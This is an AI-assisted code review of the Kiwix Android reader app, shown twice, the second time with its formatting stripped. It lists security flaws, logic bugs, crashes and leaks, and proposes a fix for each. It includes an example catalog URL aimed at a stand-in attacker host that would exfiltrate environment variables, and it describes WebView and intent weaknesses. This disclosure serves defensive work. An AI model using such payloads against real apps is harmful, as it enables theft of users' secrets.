AI-assisted review. Filed by agent driven by @soloturn via GDD.
Reviewed WebView integration, the ZIM reader/content-serving path, download/library sync code, and ViewModel/coroutine usage for simplification, inefficiency, and error-proneness. Findings below, worst first. Happy to send PRs for any of these on request.
Fix status
Security
core/src/main/java/org/kiwix/kiwixmobile/core/data/remote/BasicAuthInterceptor.kt:33-53 — secretKey extracts text between {{ and }} in the book URL and resolves it via System.getenv(...), then sends it as Basic-auth credentials to that same URL's host. Book URLs come from the remote OPDS catalog, so a catalog entry https://{{ANY_ENV_VAR}}@attacker.example/x.zim makes the app read an arbitrary env var and exfiltrate it to the attacker's host. No allowlist on either the variable name or destination host. Fix: resolve credentials from a fixed, app-controlled allowlist of key names, only for a pinned set of hosts.core/src/main/java/org/kiwix/kiwixmobile/core/main/KiwixWebView.kt:79,86 + core/src/main/java/org/kiwix/kiwixmobile/core/main/CoreWebViewClient.kt:69-72 — javaScriptEnabled = true together with the deprecated allowUniversalAccessFromFileURLs = true, and any URL not matching the content prefix is passed unfiltered into Intent(ACTION_VIEW, url.toUri()) → startActivity. ZIM content is untrusted third-party data; allowUniversalAccessFromFileURLs lets script in a file://-origin document read arbitrary cross-origin content, and there's no scheme allowlist before launching an external intent — a ZIM page can drive the app into launching file:///content:///vendor-specific schemes. Fix: drop allowUniversalAccessFromFileURLs (content is served over an https://kiwix.app/ prefix, not file://); allowlist http/https/mailto/tel before constructing the external intent.core/src/main/java/org/kiwix/kiwixmobile/core/utils/files/FileUtils.kt:405-407 — external ACTION_VIEW content URIs (from any app) are converted to filesystem paths via "$uri".contains("root") && "$uri".endsWith("zim") -> "$uri".substringAfter("/root"), matching any authority/path segment that happens to contain "root," with no decoding, canonicalization, or check that the result lies under an expected storage root. Fix: match the provider authority explicitly, canonicalize the result, verify it's under an allowed storage root.
Silent logic bugs
core/src/main/java/org/kiwix/kiwixmobile/core/reader/ZimFileReader.kt:276 — compressedExtensions.any { it != extension } is always true (5-entry list), so the "skip direct-access streaming for compressed items" branch never actually gates anything. Fix: if (extension !in compressedExtensions).core/src/main/java/org/kiwix/kiwixmobile/core/reader/ZimFileReader.kt:497-498 — truncateMimeType does replace("^([^ ]+).*$", "$1") using String.replace(String, String), which is a literal substring replacement, not regex — it never truncates. This is the mimetype value fed into WebResourceResponse for every ZIM resource. Fix: replace(Regex("^([^ ]+).*$"), "$1") or substringBefore(' ').substringBefore(';').core/src/main/java/org/kiwix/kiwixmobile/core/reader/ZimReaderContainer.kt:72-81 — when the WebView sends a Range header, the response is marked HTTP 206 with a Content-Range header reflecting the requested offset, but the body (zimFileReader?.load(url)) is always the complete item from offset 0. Seeking in ZIM-embedded video/audio yields corrupt playback since delivered bytes don't match the declared range; the parsed range value is also unvalidated text spliced into a response header. Fix: parse and validate the range, then actually skip/slice the stream to the requested offset (or drop 206 support).
Crashes
core/src/main/java/org/kiwix/kiwixmobile/core/main/KiwixTextToSpeech.kt:267-312 — TTSTask.onDone skips its bounds/stop checks when the last piece finishes while paused, then pieces[currentPiece.getAndIncrement()] runs past the end; separately pause() does an unguarded decrementAndGet() with no idempotency check, so two quick pauses drive the index negative. IndexOutOfBoundsException on a background thread from ordinary pause-near-end interaction. Fix: bound-check immediately before indexing; make pause() idempotent.core/src/main/java/org/kiwix/kiwixmobile/core/utils/NetworkUtils.kt:29-35 — getFileNameFromUrl computes url1.substring(url1.lastIndexOf('/') + 1, index) where index = url1.lastIndexOf('?'); for a URL like https://host/a?b/file.zim, the start offset exceeds index → StringIndexOutOfBoundsException. Feeds the download destination path from a remote-catalog-supplied URL, with no sanitization on the result either. Fix: use Uri.parse(url).lastPathSegment and sanitize before building the destination path.core/src/main/java/org/kiwix/kiwixmobile/core/utils/files/FileUtils.kt:863-866 — zimReaderContainer.load(source, emptyMap()).data.readBytes() has no .use { } (leaks the underlying fd on the direct-access path) and .data/zimFileReader?.load(url) are platform-nullable, so a "save media" attempt with no ZIM open NPEs. Fix: ?.use { it.readBytes() } with a null-safe fallback.
Resource/memory leaks
core/src/main/java/org/kiwix/kiwixmobile/core/search/viewmodel/SearchViewModel.kt:193-201 — a SuggestionSearch native object is created on every debounced search-keystroke via mapLatest, and is never disposed anywhere in the codebase (grep confirms only Archive/SuggestionSearcher/SpellingsDB/Bookmark get .dispose() calls). Type-as-you-search grows native heap unboundedly for the life of the process. Fix: dispose the previous SuggestionSearch when mapLatest replaces it and in onCleared.core/src/main/java/org/kiwix/kiwixmobile/core/reader/ZimFileReader.kt:378-392 — the video/audio asset-cache fallback (mp4/webm/mkv/warc) buffers the entire item into a single ByteArray and rewrites it to disk on every playback request with no existence check first; the cache key is only the last path segment, so two assets with the same basename in different ZIM directories collide and serve each other's bytes. Fix: skip the write when cached, stream instead of buffering, key on full path hash.
Other
core/src/main/java/org/kiwix/kiwixmobile/core/downloader/downloadManager/DownloadMonitorService.kt:291-303 — startForeground() is called from an ad-hoc CoroutineScope(ioDispatcher).launch { } (not the service's own scope, so it survives onDestroy) after a suspending DataStore read; risks ForegroundServiceDidNotStartInTimeException if the read is slow, and the surrounding runCatching doesn't cover the launched coroutine's body. Fix: call startForeground synchronously in onCreate with a placeholder, update once the real value arrives; use the service scope.app/src/main/java/org/kiwix/kiwixmobile/main/KiwixMainActivity.kt:147 + core/.../page/bookmark/viewmodel/BookmarkViewModel.kt:50, core/.../page/history/viewmodel/HistoryViewModel.kt:50, core/.../page/notes/viewmodel/NotesViewModel.kt:58 — runBlocking { kiwixDataStore.<x>.first() } on the main thread during first composition / ViewModel construction. Cold-start jank, ANR risk under storage pressure. Fix: seed with a default and collect the real value asynchronously.
Minor (verified, lower impact)
core/.../utils/files/FileUtils.kt:435-437 — getFilePathWithFolderFromUri drops every path segment starting with "0", not just the primary-storage token, silently mangling directories like 01_wiki.core/.../extensions/CursorExtensions.kt:22-27 — forEachRow closes the Cursor after the loop, not in a finally; a throw inside block leaks it.core/.../dao/LibkiwixBookmarks.kt:111-129 — unsynchronized double-checked-locking flag (initialized read outside the mutex, written inside, no @Volatile).core/.../utils/files/FileUtils.kt:106-124 — deleteCachedFiles is @Synchronized but its body is CoroutineScope(ioDispatcher).launch { }; the lock only guards the launch, providing no real mutual exclusion, and the ad-hoc scope is never cancelled.core/.../utils/files/FileUtils.kt:131 — substring(filePath.length - ChunkUtils.PART.length) throws for paths shorter than .part.core/.../reader/ZimFileReader.kt:303-307 + CoreWebViewClient.kt:49-53 — isRedirect/getRedirect called up to 4 times per navigation, each a full JNI lookup; similar redundant getItem calls in ZimReaderContainer.load.core/.../reader/ZimFileReader.kt:459 — spellingsDBCreationMutex is a companion-object (process-global) mutex, serializing spelling-DB init across all ZIM readers instead of per-instance.- Multiple uncancelled bare
CoroutineScope(ioDispatcher) launches with no lifecycle owner: ZimFileReader.kt:89, KiwixWebView.kt:187, DownloadManagerRequester.kt:55,86, ValidateZIMFiles.kt:58, ErrorActivity.kt:208, KiwixMainActivity.kt:201.
core/.../reader/ZimReaderSource.kt:39-43 — class is Serializable but holds List<AssetFileDescriptor> (not serializable); serializing it (e.g. into a Bundle) throws NotSerializableException.core/.../reader/ZimFileReader.kt:144 — fileSize divides by 1024 while the adjacent comment says the value needs converting to bytes; code and comment contradict each other.core/.../utils/files/FileSearch.kt:71-72, core/.../dao/LibkiwixBookOnDisk.kt:226 — Regex("/\\.Trash/") recompiled per row of a whole-device MediaStore scan; same pattern in BasicAuthInterceptor.kt:48,57 (per HTTP request) and NetworkUtils.kt:56-61 (five regexes per call).core/.../main/reader/helper/ReaderHistoryManager.kt:57 — new SimpleDateFormat constructed per formatted timestamp instead of cached.core/.../main/CoreWebViewClient.kt:148-153 — double-brace-initialized anonymous HashMap subclass for a two-entry constant map.core/.../main/CoreWebViewClient.kt:59-62 — comment says "Allow javascript" but returning true from shouldOverrideUrlLoading means the WebView will not load the URL; comment and behavior disagree.core/.../StorageObserver.kt:66-76 — zimFileReader.dispose() isn't in a finally; a throw from libkiwixBookFactory.create()/update()/addBookToLibrary leaks the native Archive for that file, once per failing ZIM during a full device scan.
Reviewed WebView integration, the ZIM reader/content-serving path, download/library sync code, and ViewModel/coroutine usage for simplification, inefficiency, and error-proneness. Findings below, worst first. Happy to send PRs for any of these on request.
Fix status
Security
core/src/main/java/org/kiwix/kiwixmobile/core/data/remote/BasicAuthInterceptor.kt:33-53—secretKeyextracts text between{{and}}in the book URL and resolves it viaSystem.getenv(...), then sends it as Basic-auth credentials to that same URL's host. Book URLs come from the remote OPDS catalog, so a catalog entryhttps://{{ANY_ENV_VAR}}@attacker.example/x.zimmakes the app read an arbitrary env var and exfiltrate it to the attacker's host. No allowlist on either the variable name or destination host. Fix: resolve credentials from a fixed, app-controlled allowlist of key names, only for a pinned set of hosts.core/src/main/java/org/kiwix/kiwixmobile/core/main/KiwixWebView.kt:79,86+core/src/main/java/org/kiwix/kiwixmobile/core/main/CoreWebViewClient.kt:69-72—javaScriptEnabled = truetogether with the deprecatedallowUniversalAccessFromFileURLs = true, and any URL not matching the content prefix is passed unfiltered intoIntent(ACTION_VIEW, url.toUri())→startActivity. ZIM content is untrusted third-party data;allowUniversalAccessFromFileURLslets script in afile://-origin document read arbitrary cross-origin content, and there's no scheme allowlist before launching an external intent — a ZIM page can drive the app into launchingfile:///content:///vendor-specific schemes. Fix: dropallowUniversalAccessFromFileURLs(content is served over anhttps://kiwix.app/prefix, notfile://); allowlisthttp/https/mailto/telbefore constructing the external intent.core/src/main/java/org/kiwix/kiwixmobile/core/utils/files/FileUtils.kt:405-407— externalACTION_VIEWcontent URIs (from any app) are converted to filesystem paths via"$uri".contains("root") && "$uri".endsWith("zim") -> "$uri".substringAfter("/root"), matching any authority/path segment that happens to contain "root," with no decoding, canonicalization, or check that the result lies under an expected storage root. Fix: match the provider authority explicitly, canonicalize the result, verify it's under an allowed storage root.Silent logic bugs
core/src/main/java/org/kiwix/kiwixmobile/core/reader/ZimFileReader.kt:276—compressedExtensions.any { it != extension }is always true (5-entry list), so the "skip direct-access streaming for compressed items" branch never actually gates anything. Fix:if (extension !in compressedExtensions).core/src/main/java/org/kiwix/kiwixmobile/core/reader/ZimFileReader.kt:497-498—truncateMimeTypedoesreplace("^([^ ]+).*$", "$1")usingString.replace(String, String), which is a literal substring replacement, not regex — it never truncates. This is the mimetype value fed intoWebResourceResponsefor every ZIM resource. Fix:replace(Regex("^([^ ]+).*$"), "$1")orsubstringBefore(' ').substringBefore(';').core/src/main/java/org/kiwix/kiwixmobile/core/reader/ZimReaderContainer.kt:72-81— when the WebView sends aRangeheader, the response is marked HTTP 206 with aContent-Rangeheader reflecting the requested offset, but the body (zimFileReader?.load(url)) is always the complete item from offset 0. Seeking in ZIM-embedded video/audio yields corrupt playback since delivered bytes don't match the declared range; the parsed range value is also unvalidated text spliced into a response header. Fix: parse and validate the range, then actually skip/slice the stream to the requested offset (or drop 206 support).Crashes
core/src/main/java/org/kiwix/kiwixmobile/core/main/KiwixTextToSpeech.kt:267-312—TTSTask.onDoneskips its bounds/stop checks when the last piece finishes while paused, thenpieces[currentPiece.getAndIncrement()]runs past the end; separatelypause()does an unguardeddecrementAndGet()with no idempotency check, so two quick pauses drive the index negative.IndexOutOfBoundsExceptionon a background thread from ordinary pause-near-end interaction. Fix: bound-check immediately before indexing; makepause()idempotent.core/src/main/java/org/kiwix/kiwixmobile/core/utils/NetworkUtils.kt:29-35—getFileNameFromUrlcomputesurl1.substring(url1.lastIndexOf('/') + 1, index)whereindex = url1.lastIndexOf('?'); for a URL likehttps://host/a?b/file.zim, the start offset exceedsindex→StringIndexOutOfBoundsException. Feeds the download destination path from a remote-catalog-supplied URL, with no sanitization on the result either. Fix: useUri.parse(url).lastPathSegmentand sanitize before building the destination path.core/src/main/java/org/kiwix/kiwixmobile/core/utils/files/FileUtils.kt:863-866—zimReaderContainer.load(source, emptyMap()).data.readBytes()has no.use { }(leaks the underlying fd on the direct-access path) and.data/zimFileReader?.load(url)are platform-nullable, so a "save media" attempt with no ZIM open NPEs. Fix:?.use { it.readBytes() }with a null-safe fallback.Resource/memory leaks
core/src/main/java/org/kiwix/kiwixmobile/core/search/viewmodel/SearchViewModel.kt:193-201— aSuggestionSearchnative object is created on every debounced search-keystroke viamapLatest, and is never disposed anywhere in the codebase (grep confirms onlyArchive/SuggestionSearcher/SpellingsDB/Bookmarkget.dispose()calls). Type-as-you-search grows native heap unboundedly for the life of the process. Fix: dispose the previousSuggestionSearchwhenmapLatestreplaces it and inonCleared.core/src/main/java/org/kiwix/kiwixmobile/core/reader/ZimFileReader.kt:378-392— the video/audio asset-cache fallback (mp4/webm/mkv/warc) buffers the entire item into a singleByteArrayand rewrites it to disk on every playback request with no existence check first; the cache key is only the last path segment, so two assets with the same basename in different ZIM directories collide and serve each other's bytes. Fix: skip the write when cached, stream instead of buffering, key on full path hash.Other
core/src/main/java/org/kiwix/kiwixmobile/core/downloader/downloadManager/DownloadMonitorService.kt:291-303—startForeground()is called from an ad-hocCoroutineScope(ioDispatcher).launch { }(not the service's own scope, so it survivesonDestroy) after a suspending DataStore read; risksForegroundServiceDidNotStartInTimeExceptionif the read is slow, and the surroundingrunCatchingdoesn't cover the launched coroutine's body. Fix: callstartForegroundsynchronously inonCreatewith a placeholder, update once the real value arrives; use the service scope.app/src/main/java/org/kiwix/kiwixmobile/main/KiwixMainActivity.kt:147+core/.../page/bookmark/viewmodel/BookmarkViewModel.kt:50,core/.../page/history/viewmodel/HistoryViewModel.kt:50,core/.../page/notes/viewmodel/NotesViewModel.kt:58—runBlocking { kiwixDataStore.<x>.first() }on the main thread during first composition / ViewModel construction. Cold-start jank, ANR risk under storage pressure. Fix: seed with a default and collect the real value asynchronously.Minor (verified, lower impact)
core/.../utils/files/FileUtils.kt:435-437—getFilePathWithFolderFromUridrops every path segment starting with"0", not just the primary-storage token, silently mangling directories like01_wiki.core/.../extensions/CursorExtensions.kt:22-27—forEachRowcloses theCursorafter the loop, not in afinally; a throw insideblockleaks it.core/.../dao/LibkiwixBookmarks.kt:111-129— unsynchronized double-checked-locking flag (initializedread outside the mutex, written inside, no@Volatile).core/.../utils/files/FileUtils.kt:106-124—deleteCachedFilesis@Synchronizedbut its body isCoroutineScope(ioDispatcher).launch { }; the lock only guards the launch, providing no real mutual exclusion, and the ad-hoc scope is never cancelled.core/.../utils/files/FileUtils.kt:131—substring(filePath.length - ChunkUtils.PART.length)throws for paths shorter than.part.core/.../reader/ZimFileReader.kt:303-307+CoreWebViewClient.kt:49-53—isRedirect/getRedirectcalled up to 4 times per navigation, each a full JNI lookup; similar redundantgetItemcalls inZimReaderContainer.load.core/.../reader/ZimFileReader.kt:459—spellingsDBCreationMutexis a companion-object (process-global) mutex, serializing spelling-DB init across all ZIM readers instead of per-instance.CoroutineScope(ioDispatcher)launches with no lifecycle owner:ZimFileReader.kt:89,KiwixWebView.kt:187,DownloadManagerRequester.kt:55,86,ValidateZIMFiles.kt:58,ErrorActivity.kt:208,KiwixMainActivity.kt:201.core/.../reader/ZimReaderSource.kt:39-43— class isSerializablebut holdsList<AssetFileDescriptor>(not serializable); serializing it (e.g. into aBundle) throwsNotSerializableException.core/.../reader/ZimFileReader.kt:144—fileSizedivides by 1024 while the adjacent comment says the value needs converting to bytes; code and comment contradict each other.core/.../utils/files/FileSearch.kt:71-72,core/.../dao/LibkiwixBookOnDisk.kt:226—Regex("/\\.Trash/")recompiled per row of a whole-device MediaStore scan; same pattern inBasicAuthInterceptor.kt:48,57(per HTTP request) andNetworkUtils.kt:56-61(five regexes per call).core/.../main/reader/helper/ReaderHistoryManager.kt:57— newSimpleDateFormatconstructed per formatted timestamp instead of cached.core/.../main/CoreWebViewClient.kt:148-153— double-brace-initialized anonymousHashMapsubclass for a two-entry constant map.core/.../main/CoreWebViewClient.kt:59-62— comment says "Allow javascript" but returningtruefromshouldOverrideUrlLoadingmeans the WebView will not load the URL; comment and behavior disagree.core/.../StorageObserver.kt:66-76—zimFileReader.dispose()isn't in afinally; a throw fromlibkiwixBookFactory.create()/update()/addBookToLibraryleaks the nativeArchivefor that file, once per failing ZIM during a full device scan.